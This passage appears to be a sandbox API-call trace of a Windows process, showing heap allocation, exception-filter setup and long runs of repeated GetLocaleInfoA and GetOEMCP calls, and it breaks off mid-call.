[0086.574] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0086.574] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0086.575] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x80) returned 0x1e611f8 [0086.575] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x800) returned 0x1e621a8 [0086.575] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c0d7) returned 0x0 [0086.576] RtlSizeHeap (HeapHandle=0x1e60000, Flags=0x0, MemoryPointer=0x1e611f8) returned 0x80 [0086.576] RtlSizeHeap (HeapHandle=0x1e60000, Flags=0x0, MemoryPointer=0x1e611f8) returned 0x80 [0086.577] RtlSizeHeap (HeapHandle=0x1e60000, Flags=0x0, MemoryPointer=0x1e611f8) returned 0x80 [0086.577] RtlSizeHeap (HeapHandle=0x1e60000, Flags=0x0, MemoryPointer=0x1e611f8) returned 0x80 [0086.578] RtlSizeHeap (HeapHandle=0x1e60000, Flags=0x0, MemoryPointer=0x1e611f8) returned 0x80 [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.578] SetLastError (dwErrCode=0x0) [0086.578] GetLastError () returned 0x0 [0086.579] SetLastError (dwErrCode=0x0) [0086.579] GetLastError () returned 0x0 [0086.579] SetLastError (dwErrCode=0x0) [0086.579] GetLastError () returned 0x0 [0086.579] lstrlenW (lpString="") returned 0 [0086.579] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.581] GetOEMCP () returned 0x1b5 [0086.581] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.582] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.582] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.583] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.583] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.584] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.584] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.585] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.585] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.586] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.586] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.587] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.587] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.588] GetOEMCP () returned 0x1b5 [0086.588] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, 